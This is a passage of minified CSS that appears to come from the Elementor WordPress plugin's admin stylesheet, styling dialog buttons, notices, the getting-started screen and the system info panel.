.dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus { background: var(--e-a-bg-primary); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent { background-color: var(--e-a-btn-bg-accent); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus { background-color: var(--e-a-btn-bg-accent-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active { background-color: var(--e-a-btn-bg-accent-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info { background-color: var(--e-a-btn-bg-info); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus { background-color: var(--e-a-btn-bg-info-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning { background-color: var(--e-a-btn-bg-warning); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus { background-color: var(--e-a-btn-bg-warning-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger { background-color: var(--e-a-btn-bg-danger); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus { background-color: var(--e-a-btn-bg-danger-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button i, .dialog-type-alert .dialog-buttons-wrapper .dialog-button i { margin-inline-end: 5px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited { color: initial; } :root { --e-focus-color: rgba(0, 115, 170, .4); --e-context-primary-color: #0073aa; --e-context-primary-color-dark: #005177; --e-context-primary-tint-4: rgba(0, 115, 170, 0.4); --e-context-primary-tint-1: rgba(0, 115, 170, 0.04); --e-context-success-color: #0A875A; --e-context-success-color-dark: #06583a; --e-context-success-tint-4: rgba(10, 135, 90, 0.4); --e-context-success-tint-1: rgba(10, 135, 90, 0.04); --e-context-info-color: #2563EB; --e-context-info-color-dark: #134cca; --e-context-info-tint-4: rgba(37, 99, 235, 0.4); --e-context-info-tint-1: rgba(37, 99, 235, 0.04); --e-context-warning-color: #F59E0B; --e-context-warning-color-dark: #c57f08; --e-context-warning-tint-4: rgba(245, 158, 11, 0.4); --e-context-warning-tint-1: rgba(245, 158, 11, 0.04); --e-context-error-color: #DC2626; --e-context-error-color-dark: #b21d1d; --e-context-error-tint-4: rgba(220, 38, 38, 0.4); --e-context-error-tint-1: rgba(220, 38, 38, 0.04); --e-context-cta-color: #524CFF; --e-context-cta-color-dark: #2119ff; --e-context-cta-tint-4: rgba(82, 76, 255, 0.4); --e-context-cta-tint-1: rgba(82, 76, 255, 0.04); } .e-getting-started { max-width: 900px; padding: 2.5em 0; margin: auto; text-align: center; } .e-getting-started__header { display: flex; flex-direction: row; justify-content: space-between; align-items: center; box-shadow: 0 0 8px rgba(0, 0, 0, 0.1); } .e-getting-started__header .e-logo-wrapper { font-size: 10px; margin-inline-end: 10px; } .e-getting-started__title { padding: 0 15px; font-weight: 600; text-transform: uppercase; display: flex; align-items: center; } .e-getting-started__skip { border-inline-start: 1px solid #eee; font-size: 16px; color: inherit; } .e-getting-started__skip i { padding: 15px; } .e-getting-started__content { padding: 50px; } .e-getting-started__content h2 { font-size: 2em; margin-block-start: 0; } .e-getting-started__content--narrow { max-width: 500px; margin: auto; } .e-getting-started__video { margin: 40px 0 60px; } .e-getting-started__video iframe { box-shadow: 10px 10px 20px rgba(0, 0, 0, 0.15); } .e-getting-started__actions .button-primary { margin-inline-end: 20px; } :root { --e-button-padding-block: 0.4375rem; --e-button-padding-inline: 0.75rem; --e-button-font-size: 0.8125rem; --e-button-font-weight: 500; --e-button-line-height: 0.9375rem; --e-button-border-radius: 3px; --e-button-context-color: var(--e-context-primary-color); --e-button-context-color-dark: var(--e-context-primary-color-dark); --e-button-context-tint: var(--e-context-primary-tint-1); } .e-button { display: inline-block; font-weight: var(--e-button-font-weight); text-align: center; white-space: nowrap; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; user-select: none; color: #ffffff; border: 0; text-decoration: none; background: var(--e-button-context-color); padding: var(--e-button-padding-block) var(--e-button-padding-inline); font-size: var(--e-button-font-size); line-height: var(--e-button-line-height); border-radius: var(--e-button-border-radius); transition: background-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } .e-button:active, .e-button:hover, .e-button:focus { color: #ffffff; text-decoration: none; background: var(--e-button-context-color-dark); } .e-button:focus, .e-button.focus { outline: 0; box-shadow: 0 0 0 2px var(--e-focus-color); } .e-button.disabled, .e-button:disabled { opacity: 0.5; box-shadow: none; } .e-button:not(:disabled):not(.disabled) { cursor: pointer; } .e-button:not(:disabled):not(.disabled):active:focus, .e-button:not(:disabled):not(.disabled).active:focus { box-shadow: 0 0 0 2px var(--e-focus-color); } .e-button--primary { --e-button-context-color: var(--e-context-primary-color); --e-button-context-color-dark: var(--e-context-primary-color-dark); --e-button-context-tint: var(--e-context-primary-tint-1); --e-focus-color: var(--e-context-primary-tint-4); } .e-button--success { --e-button-context-color: var(--e-context-success-color); --e-button-context-color-dark: var(--e-context-success-color-dark); --e-button-context-tint: var(--e-context-success-tint-1); --e-focus-color: var(--e-context-success-tint-4); } .e-button--info { --e-button-context-color: var(--e-context-info-color); --e-button-context-color-dark: var(--e-context-info-color-dark); --e-button-context-tint: var(--e-context-info-tint-1); --e-focus-color: var(--e-context-info-tint-4); } .e-button--warning { --e-button-context-color: var(--e-context-warning-color); --e-button-context-color-dark: var(--e-context-warning-color-dark); --e-button-context-tint: var(--e-context-warning-tint-1); --e-focus-color: var(--e-context-warning-tint-4); } .e-button--error { --e-button-context-color: var(--e-context-error-color); --e-button-context-color-dark: var(--e-context-error-color-dark); --e-button-context-tint: var(--e-context-error-tint-1); --e-focus-color: var(--e-context-error-tint-4); } .e-button--cta { --e-button-context-color: var(--e-context-cta-color); --e-button-context-color-dark: var(--e-context-cta-color-dark); --e-button-context-tint: var(--e-context-cta-tint-1); --e-focus-color: var(--e-context-cta-tint-4); } .e-button.e-button--outline { color: var(--e-button-context-color); background: none; border: 1px solid currentColor; } .e-button.e-button--outline:hover, .e-button.e-button--outline:focus { color: var(--e-button-context-color-dark); background: var(--e-button-context-tint); } .e-button.e-button--outline.disabled, .e-button.e-button--outline:disabled { color: var(--e-button-context-color-dark); background: #69727D; } .e-button > i { line-height: inherit; height: var(--e-button-line-height); width: -moz-min-content; width: min-content; } .e-button > * + * { margin-inline-start: 0.5ch; } .e-button--link { color: var(--e-button-context-color); background-color: transparent; } .e-button--link:hover, .e-button--link:focus { color: var(--e-button-context-color-dark); background: var(--e-button-context-tint); } .e-button--link:disabled, .e-button--link.disabled { color: #69727D; } a.e-button.disabled, fieldset:disabled a.e-button { pointer-events: none; } :root { --e-notice-bg: #fff; --e-notice-border-color: #ccd0d4; --e-notice-context-color: #93003f; --e-notice-context-tint: var(--e-context-cta-tint-1); --e-notice-box-shadow: 0 1px 4px rgba(0,0,0,.15); --e-notice-dismiss-color: #3f444b; } .e-notice { position: relative; display: flex; font-family: Roboto, Arial, Helvetica, sans-serif; background: var(--e-notice-bg); border: 1px solid var(--e-notice-border-color); border-inline-start-width: 4px; box-shadow: var(--e-notice-box-shadow); margin: 5px 20px 5px 2px; } .e-notice.notice { padding: 0; } .e-notice::before { display: block; content: ""; position: absolute; inset-inline-start: -4px; inset-block-start: -1px; inset-block-end: -1px; width: 4px; background-color: var(--e-notice-context-color); } .e-notice--primary { --e-notice-context-color: var(--e-context-primary-color); --e-notice-context-color-dark: var(--e-context-primary-color-dark); --e-notice-context-tint: var(--e-context-primary-tint-1); } .e-notice--success { --e-notice-context-color: var(--e-context-success-color); --e-notice-context-color-dark: var(--e-context-success-color-dark); --e-notice-context-tint: var(--e-context-success-tint-1); } .e-notice--info { --e-notice-context-color: var(--e-context-info-color); --e-notice-context-color-dark: var(--e-context-info-color-dark); --e-notice-context-tint: var(--e-context-info-tint-1); } .e-notice--warning { --e-notice-context-color: var(--e-context-warning-color); --e-notice-context-color-dark: var(--e-context-warning-color-dark); --e-notice-context-tint: var(--e-context-warning-tint-1); } .e-notice--error { --e-notice-context-color: var(--e-context-error-color); --e-notice-context-color-dark: var(--e-context-error-color-dark); --e-notice-context-tint: var(--e-context-error-tint-1); } .e-notice--cta { --e-notice-context-color: var(--e-context-cta-color); --e-notice-context-color-dark: var(--e-context-cta-color-dark); --e-notice-context-tint: var(--e-context-cta-tint-1); } .e-notice--extended { --e-notice-is-extended: 1; } .e-notice--dismissible { padding-inline-end: 38px; } .e-notice__aside { overflow: hidden; background-color: var(--e-notice-context-tint); width: calc(var(--e-notice-is-extended, 0) * 50px); text-align: center; padding-block-start: 15px; flex-grow: 0; flex-shrink: 0; } .e-notice__icon-wrapper { display: inline-block; font-size: 0.625rem; max-height: 1.5rem; width: 1.5rem; line-height: 1.5rem; border-radius: 100px; background: var(--e-notice-context-color); color: #fff; text-shadow: 0 0 3px var(--e-notice-context-color-dark), 0 0 1px var(--e-notice-context-color-dark), 0 0 1px var(--e-notice-context-color-dark); } .e-notice__content { padding: 20px; } .e-notice__actions { display: flex; } .e-notice__actions > * + * { margin-inline-start: 8px; } .e-notice__dismiss { width: 20px; height: 20px; line-height: 20px; font-size: 0.8125rem; text-align: center; background: none; display: block; position: absolute; inset-block-start: 0; inset-inline-end: 1px; border: none; margin: 0; padding: 9px; cursor: pointer; font-style: normal; } .e-notice__dismiss:before { font-family: eicons; display: inline-block; content: "\e87f"; color: var(--e-notice-dismiss-color); width: 20px; border-radius: 20px; speak: none; text-align: center; } .e-notice__dismiss:hover:before, .e-notice__dismiss:active:before, .e-notice__dismiss:focus:before { font-weight: bold; } .e-notice__dismiss:focus:before { color: #fff; background: var(--e-notice-dismiss-color); outline: none; } .e-notice__dismiss:focus { outline: none; } .e-notice p { line-height: 1.2; padding: 0; margin: 0; } .e-notice p + .e-notice__actions { margin-block-start: 1rem; } .e-notice h3 { font-size: 1.0625rem; line-height: 1.2; margin: 0; } .e-notice h3 + p { margin-block-start: 8px; } /*= Elementor Admin Alert ---------------------------------------*/ .elementor-admin-alert { padding: 15px; border-inline-start: 3px solid transparent; position: relative; font-size: 12px; line-height: 1.5; text-align: start; } .elementor-admin-alert a { color: inherit; } .elementor-admin-alert.elementor-alert-info { color: var(--e-a-color-info); background-color: var(--e-a-bg-info); border-color: var(--e-a-color-info); } .elementor-admin-alert.elementor-alert-success { color: var(--e-a-color-success); background-color: var(--e-a-bg-success); border-color: var(--e-a-color-success); } .elementor-admin-alert.elementor-alert-warning { color: var(--e-admin-color-warning); background-color: var(--e-a-bg-warning); border-color: var(--e-a-color-warning); } .elementor-admin-alert.elementor-alert-danger { color: var(--e-a-color-danger); background-color: var(--e-a-bg-danger); border-color: var(--e-a-color-danger); } /*= Elementor System Info ---------------------------------------*/ #elementor-system-info { padding: 15px; } #elementor-system-info .elementor-system-info-header { display: flex; justify-content: space-between; align-items: center; } #elementor-system-info .elementor-system-info-section { margin-block-end: 10px; } #elementor-system-info .elementor-system-info-section .widefat { white-space: pre; } #elementor-system-info .elementor-system-info-section .elementor-log-entries { white-space: pre-wrap; } #elementor-system-info .elementor-system-info-section:not(.elementor-system-info-log) tbody td:first-child { width: 300px; } #elementor-system-info .elementor-system-info-section:not(.elementor-system-info-log) td { white-space: break-spaces; } #elementor-system-info .elementor-system-info-field-recommendation { padding-inline-start: 10px; color: #7F7F7F; } #elementor-system-info .elementor-system-info-plugin-name { color: #000; } #elementor-system-info .elementor-system-info-plugin-properties { padding: 10px; } #elementor-system-info #elementor-system-info-raw-code { width: 100%; height: 200px; } #elementor-system-info #elementor-system-info-raw-code-label { padding: 5px; display: block; } #elementor-system-info .elementor-warning td:first-child { border-inline-start: 3px solid #F59E0B; } #elementor-system-info a.box-title-tool { font-size: 80%; margin-inline-start: 15px; color: #69727D; } #elementor-system-info a.box-title-tool:hover { text-decoration: underline; } #elementor-system-info #elementor-usage-recalc { font-size: 12px; color: #ffffff; background-color: #9DA5AE; padding: 4px 18px 5px 18px; border-radius: 3px; } .dialog-type-confirm .dialog-widget-content, .dialog-type-alert .dialog-widget-content { margin: auto; width: 400px; padding: 20px; } .dialog-type-confirm .dialog-header, .dialog-type-alert .dialog-header { font-size: 15px; font-weight: 500; } .dialog-type-confirm .dialog-header:after, .dialog-type-alert .dialog-header:after { content: ""; display: block; border-block-end: var(--e-a-border); padding-block-end: 10px; margin-block-end: 10px; margin-inline-start: -20px; margin-inline-end: -20px; } .dialog-type-confirm .dialog-message, .dialog-type-alert .dialog-message { min-height: 50px; } .dialog-type-confirm .dialog-buttons-wrapper, .dialog-type-alert .dialog-buttons-wrapper { padding-block-start: 10px; display: flex; justify-content: flex-end; gap: 15px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button, .dialog-type-alert .dialog-buttons-wrapper .dialog-button { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover { border: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:active { background-color: var(--e-a-btn-bg-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]), .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]) { cursor: pointer; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon { display: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel { background: transparent; color: var(--e-a-color-txt); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:disabled, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:disabled, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:disabled, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border { border: 1px solid var(--e-a-color-txt-muted); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success { background-color: var(--e-a-btn-bg-success); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus { background-color: var(--e-a-btn-bg-success-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper 